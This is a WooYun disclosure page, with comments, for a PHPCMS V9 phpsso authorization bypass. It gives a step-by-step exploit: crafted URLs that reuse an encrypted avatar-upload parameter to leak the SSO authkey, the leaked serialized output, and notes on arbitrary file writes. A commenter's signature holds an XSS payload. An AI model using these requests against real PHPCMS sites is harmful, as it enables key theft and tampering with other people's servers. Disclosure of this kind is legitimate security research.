当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-066394

漏洞标题:PHPCMS V9 一个为所欲为的漏洞

相关厂商:phpcms

漏洞作者: Map

提交时间:2014-06-27 11:12

修复时间:2014-09-22 11:14

公开时间:2014-09-22 11:14

漏洞类型:非授权访问/权限绕过

危害等级:高

自评Rank:15

漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-06-27: 细节已通知厂商并且等待厂商处理中
2014-07-02: 厂商主动忽略漏洞,细节向第三方安全合作伙伴开放
2014-08-26: 细节向核心白帽子及相关领域专家公开
2014-09-05: 细节向普通白帽子公开
2014-09-15: 细节向实习白帽子公开
2014-09-22: 细节向公众公开

简要描述:

不知道怎么形容这个漏洞,反正大部分情况下可以做的事情很多了。
官网注册不上,所以无法官网演示。

详细说明:

安装phpcms的时候会强制安装它的通行证。
phpcms/phpsso_server/phpcms/modules/phpsso/index.php里有一段很可怕的代码

/**
* 获取应用列表
*/
public function getapplist() {
$applist = getcache('applist', 'admin');
exit(serialize($applist));
}


cache里是什么内容呢,我们自己去看一下文件:

<?php
return array (
1 =>
array (
'appid' => '1',
'type' => 'phpcms_v9',
'name' => 'phpcms v9',
'url' => 'http://localhost:8038/study/phpcms/',
'authkey' => 'L7UXO1cpUV6QmkX0oeGAXiOdQy6Hmvkr',
'ip' => '',
'apifilename' => 'api.php?op=phpsso',
'charset' => 'gbk',
'synlogin' => '1',
),
);
?>


所以只要我们调用phpsso并且能走到这个方法里,就会突出sso配置的客户端的所有信息,包括authkey。
查看通行证代码发现,只要$_POST['data']可以解出来,就可以走下去。

if(isset($_GET) && is_array($_GET) && count($_GET) > 0) {
foreach($_GET as $k=>$v) {
if(!in_array($k, array('m','c','a'))) {
$_POST[$k] = $v;
}
}
}


GET全付给POST

if(isset($_POST['data'])) {
parse_str(sys_auth($_POST['data'], 'DECODE', $this->applist[$this->appid]['authkey']), $this->data);

if(empty($this->data) || !is_array($this->data)) {
exit('0');
}
} else {
exit('0');
}


ok,我们怎么拿到这个$_POST['data'],用户上传头像的页面里就有。
注册登录后访问
http://localhost:8038/study/phpcms/index.php?m=member&c=index&a=account_manage_avatar&t=1
查看源文件:

phpcms1.jpg


拿到这个:
aHR0cDovL2xvY2FsaG9zdDo4MDM4L3N0dWR5L3BocGNtcy9waHBzc29fc2VydmVyL2luZGV4LnBocD9tPXBocHNzbyZjPWluZGV4JmE9dXBsb2FkYXZhdGFyJmF1dGhfZGF0YT12PTEmYXBwaWQ9MSZkYXRhPWU1YzJWQU1HVVFaUkFRa0lVUVFLVndGVUFnSUNWZ0FJQWxkVkJRRkREUVZjVjBNVVFHa0FReFZaWmxNRUdBOSUyQkRqWm9LMUFIUm1Vd0JHY09YVzVVRGdRaEpEeGFlUVZuR0FkeFZSY0tRQQ==
解除base64_decode编码得
http://localhost:8038/study/phpcms/phpsso_server/index.php?m=phpsso&c=index&a=uploadavatar&auth_data=v=1&appid=1&data=e5c2VAMGUQZRAQkIUQQKVwFUAgICVgAIAldVBQFDDQVcV0MUQGkAQxVZZlMEGA9%2BDjZoK1AHRmUwBGcOXW5UDgQhJDxaeQVnGAdxVRcKQA
将url里的uploadavatar换成:getapplist得:
http://localhost:8038/study/phpcms/phpsso_server/index.php?m=phpsso&c=index&a=getapplist&auth_data=v=1&appid=1&data=e5c2VAMGUQZRAQkIUQQKVwFUAgICVgAIAldVBQFDDQVcV0MUQGkAQxVZZlMEGA9%2BDjZoK1AHRmUwBGcOXW5UDgQhJDxaeQVnGAdxVRcKQA
访问得:
a:1:{i:1;a:9:{s:5:"appid";s:1:"1";s:4:"type";s:9:"phpcms_v9";s:4:"name";s:9:"phpcms v9";s:3:"url";s:35:"http://localhost:8038/study/phpcms/";s:7:"authkey";s:32:"L7UXO1cpUV6QmkX0oeGAXiOdQy6Hmvkr";s:2:"ip";s:0:"";s:11:"apifilename";s:17:"api.php?op=phpsso";s:7:"charset";s:3:"gbk";s:8:"synlogin";s:1:"1";}}
和我们想的一样,authkey在里面:
s:7:"authkey";s:32:"L7UXO1cpUV6QmkX0oeGAXiOdQy6Hmvkr"
拿到这个key已经可以想做什么想什么了,sso体系里的东西都可以做了。

解密出来的东西不受控制,可以包含null截断,也可以包含单双引号


举个例子:
/phpcms/phpsso_server/phpcms/modules/phpsso/index.php
内:
public function uploadavatar()
写的
$this->uid = $this->data['uid']; //uid来自解密出来的uid
$this->avatardata = $this->data['avatardata']; //数据内容来自解密出来的数据内容
……
$dir = $avatarfile.$dir1.'/'.$dir2.'/'.$this->uid.'/';
//目录名里引用了来自解密内容的uid
……
$filename = $dir.'180x180.jpg';
//文件名又来自引用了解密uid内容的$dir变量
$fp = fopen($filename, 'w');
fwrite($fp, $this->avatardata);
fclose($fp);
文件写入了,反正是想做什么做什么。

漏洞证明:

如上。

修复方案:

不要过分信任自己的加密解密机制,要小心处理每个过程。

版权声明:转载请注明来源 Map@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2014-09-22 11:14

厂商回复:

最新状态:

暂无


漏洞评价:

评论

  1. 2014-06-27 11:13 | 围剿 ( 路人 | Rank:17 漏洞数:5 | Evil decimal)

    为所欲为

  2. 2014-06-27 11:15 | 小川 认证白帽子 ( 核心白帽子 | Rank:1344 漏洞数:216 | 一个致力要将乌云变成搞笑论坛的男人)

    奸淫掳掠

  3. 2014-06-27 11:16 | 疯狗 认证白帽子 ( 实习白帽子 | Rank:44 漏洞数:2 | 阅尽天下漏洞,心中自然无码。)

    为所欲为?是我想的那样么?

  4. 2014-06-27 11:19 | Noxxx ( 普通白帽子 | Rank:509 漏洞数:41 )

    关注

  5. 2014-06-27 11:30 | quanxian ( 实习白帽子 | Rank:32 漏洞数:2 | This is QuanXian.)

    官网注册不上,所以无法官网演示。phpcms:评分5分

  6. 2014-06-27 11:36 | magerx ( 普通白帽子 | Rank:257 漏洞数:45 | 别说话。)

    猥琐欲为

  7. 2014-06-27 11:41 | mramydnei ( 普通白帽子 | Rank:348 漏洞数:80 )

    比@z7y的长相还要为所欲为么?

  8. 2014-06-27 11:49 | hkAssassin ( 普通白帽子 | Rank:358 漏洞数:66 | 我是一只毛毛虫。)

    为所欲为 是什么姿势。就是所有姿势想上就上是吧!!!!

  9. 2014-06-27 11:58 | Mody ( 普通白帽子 | Rank:110 漏洞数:27 | "><img src=x onerror=alert(1);> <img s...)

    为所欲为

  10. 2014-06-27 14:28 | 索马里的海贼 ( 普通白帽子 | Rank:254 漏洞数:24 | http://tieba.baidu.com/f?kw=WOW)

    为所欲为 关注 话说主页为毛看不到?

  11. 2014-06-27 15:45 | zeracker 认证白帽子 ( 核心白帽子 | Rank:1068 漏洞数:137 | 多乌云、多机会!微信公众号: id:a301zls ...)

    为所欲为是我想象的那样子吗?

  12. 2014-06-27 16:44 | 李白 ( 普通白帽子 | Rank:142 漏洞数:29 )

    感觉洞主是4个洞要上100Rank了

  13. 2014-06-27 16:48 | 索马里的海贼 ( 普通白帽子 | Rank:254 漏洞数:24 | http://tieba.baidu.com/f?kw=WOW)

    打雷啦~下雨啦~收衣服啦~洞主我觉得咱俩要悲剧了 phpcms是不来认领的节奏啊,双倍rank和WB就要擦肩而过了

  14. 2014-06-27 17:02 | Map ( 普通白帽子 | Rank:154 漏洞数:10 | 闭关几个星期,学点东西。)

    @索马里的海贼 oh no!

  15. 2014-06-27 17:26 | luwikes ( 普通白帽子 | Rank:512 漏洞数:77 | 潜心学习~~~)

    膜拜LZ @李白 让struts2情何以堪

  16. 2014-06-27 17:29 | f4ckbaidu ( 普通白帽子 | Rank:182 漏洞数:23 | 开发真是日了狗了)

    LZ屌爆了,每个漏洞都是20rank,膜拜

  17. 2014-07-02 12:47 | M0nster ( 实习白帽子 | Rank:53 漏洞数:17 | 允许我国的艺术家先富起来)

    无影响厂商忽略

  18. 2014-07-02 13:40 | quanxian ( 实习白帽子 | Rank:32 漏洞数:2 | This is QuanXian.)

    无影响厂商忽略

  19. 2014-07-02 13:54 | zeracker 认证白帽子 ( 核心白帽子 | Rank:1068 漏洞数:137 | 多乌云、多机会!微信公众号: id:a301zls ...)

    没节操

  20. 2014-07-02 14:36 | Lonely ( 实习白帽子 | Rank:72 漏洞数:27 | 人生如梦,始终都游不过当局者迷的悲哀。)

    @zeracker 节操为何物。无影响厂商忽略

  21. 2014-07-02 17:15 | 从容 ( 普通白帽子 | Rank:221 漏洞数:75 | Enjoy Hacking Just Because It's Fun :) ...)

    果断收藏,坐等公开

  22. 2014-07-02 19:29 | 楼下小黑 ( 路人 | Rank:0 漏洞数:1 | 高智商白痴)

    不明觉屌

  23. 2014-07-02 20:54 | 索马里的海贼 ( 普通白帽子 | Rank:254 漏洞数:24 | http://tieba.baidu.com/f?kw=WOW)

    果然悲剧了。。。一起@疯狗@xsser求补rank吧

  24. 2014-07-02 21:07 | 鱼化石 ( 实习白帽子 | Rank:93 漏洞数:18 | 介绍不能为空)

    果断忽略

  25. 2014-07-03 00:58 | 秋风 ( 普通白帽子 | Rank:438 漏洞数:44 | 码农一枚,关注互联网安全)

    NB!

  26. 2014-07-11 12:19 | 乌云合作伙伴-知道创宇(乌云厂商)

    貌似洞主提的“解密出来的东西不受控制,可以包含null截断,也可以包含单双引号” 有点点问题。因为解密用到了parse_str() 不知道洞主当时有没有测试 :)

  27. 2014-07-11 13:02 | 索马里的海贼 ( 普通白帽子 | Rank:254 漏洞数:24 | http://tieba.baidu.com/f?kw=WOW)

    @乌云合作伙伴-知道创宇 漏洞还没有公开呢。。这么点出来真的好么。。

  28. 2014-07-11 14:42 | 乌云合作伙伴-知道创宇(乌云厂商)

    @索马里的海贼 你知道我说的啥?这个和漏洞没有关系,只是漏洞利用有关

  29. 2014-07-11 15:11 | 索马里的海贼 ( 普通白帽子 | Rank:254 漏洞数:24 | http://tieba.baidu.com/f?kw=WOW)

    @乌云合作伙伴-知道创宇 唉。。phpcms用到parse_str的地方不超过15处 再加上前面那句“解密出来的东西不受控制”,可以联想到前面有解密函数,大概翻一下源码有3个地方,分别是两处sys_auth和一处uc的authcode。sys_auth正好我发的漏洞分析过了。uc这个当时没注意 是不是UC_KEY没初始化呢,或者洞主跟我一样有特别的方法搞到sys_auth的key了呢,再深挖一下也许就有眉目了哦。。。当然以上仅为不负责任的猜测。所以你看,还是能联想到不少东西的。

  30. 2014-07-11 16:29 | Map ( 普通白帽子 | Rank:154 漏洞数:10 | 闭关几个星期,学点东西。)

    @乌云合作伙伴-知道创宇 你说的对,其实发完当时我就觉得自己错了,parse_str应该也是首先受该服务器的magic_quote_gpcs的影响的,如果当magic_quote_gpcs为off的情况下,包含'\是没有问题的,但是为on的话,应当是被转义的

  31. 2014-07-11 16:33 | Map ( 普通白帽子 | Rank:154 漏洞数:10 | 闭关几个星期,学点东西。)

    @乌云合作伙伴-知道创宇 如果我理解上有什么问题,欢迎亲和我分享一下你的东西,我确实很多地方不足也挺表面,谢谢。另外也谢谢@索马里的海贼

  32. 2014-07-11 21:07 | 乌云合作伙伴-知道创宇(乌云厂商)

    @Map 一看洞主发的那些漏洞,就知道水平很牛啊!大家多交流 :)

  33. 2014-07-14 23:24 | 只发通用型 ( 实习白帽子 | Rank:93 漏洞数:14 | 刷通用型奖金小号)

    漏洞是黑哥吗?

  34. 2014-07-14 23:24 | 只发通用型 ( 实习白帽子 | Rank:93 漏洞数:14 | 刷通用型奖金小号)

    楼上 打错字了

  35. 2014-07-14 23:32 | 从容 ( 普通白帽子 | Rank:221 漏洞数:75 | Enjoy Hacking Just Because It's Fun :) ...)

    @只发通用型 黑哥?刺总?吴翰清?

  36. 2014-07-25 13:56 | 索马里的海贼 ( 普通白帽子 | Rank:254 漏洞数:24 | http://tieba.baidu.com/f?kw=WOW)

    @乌云合作伙伴-知道创宇 看到详情了 果然和我29楼说的一样 所以对你那句“你知道我说的啥?” 我现在可以说了 "YES I DO " 你的能力分析不出来不代表别人分析不出来 别整天一副盛气凌人的样子

  37. 2014-07-29 11:24 | wefgod ( 普通白帽子 | Rank:1807 漏洞数:179 | 力不从心)

    都是牛人啊

  38. 2014-07-29 16:38 | 乌云合作伙伴-知道创宇(乌云厂商)

    @索马里的海贼 汗~~ 好吧你如果觉得我回复的语气太“盛气凌人”不好,那我道歉吧!@只发通用型 你猜?

  39. 2014-07-30 13:37 | Fireweed ( 普通白帽子 | Rank:107 漏洞数:14 | Show me the #)

  40. 2014-08-21 14:59 | kimdle ( 路人 | Rank:0 漏洞数:1 | @kimdle)

    $filename那个地方无法截断。不知道是不是我太菜了还是误报?

  41. 2014-08-21 15:16 | Map ( 普通白帽子 | Rank:154 漏洞数:10 | 闭关几个星期,学点东西。)

    @kimdle 这个问题前面我和知道创宇已经讨论过了,但是你可以找到可用的地方。

  42. 2014-08-24 10:17 | 游戏 ( 路人 | Rank:2 漏洞数:1 | 一个大白菜)

    好吧,我想歪了

  43. 2014-08-27 09:07 | kimdle ( 路人 | Rank:0 漏洞数:1 | @kimdle)

    @Map 可否指点一下

  44. 2014-09-19 21:08 | YHHK ( 路人 | Rank:22 漏洞数:5 | love hacker!love technology!)

    POST过去的无法截断、、、、

  45. 2014-09-22 13:45 | 小卖部部长 ( 路人 | Rank:24 漏洞数:3 | 别拿部长不当干部!)

    好高深。。。先留个位子

  46. 2014-11-30 18:01 | 消逝文字 ( 路人 | Rank:3 漏洞数:2 | 永久的菜鸟一枚)

    拿到 key 后 下一步 如何操作呢

  47. 2015-06-29 21:27 | Q1NG ( 实习白帽子 | Rank:93 漏洞数:16 | 临 兵 斗 者 皆 阵 列 前 行 !)

    mark!

  48. 2015-08-05 16:15 | Elliott ( 实习白帽子 | Rank:40 漏洞数:9 | 绝逼不当程序员)

    学习了!谢谢洞主

  49. 2015-08-05 16:16 | Elliott ( 实习白帽子 | Rank:40 漏洞数:9 | 绝逼不当程序员)

    @消逝文字 很多加密函数跟key有关,比如cookie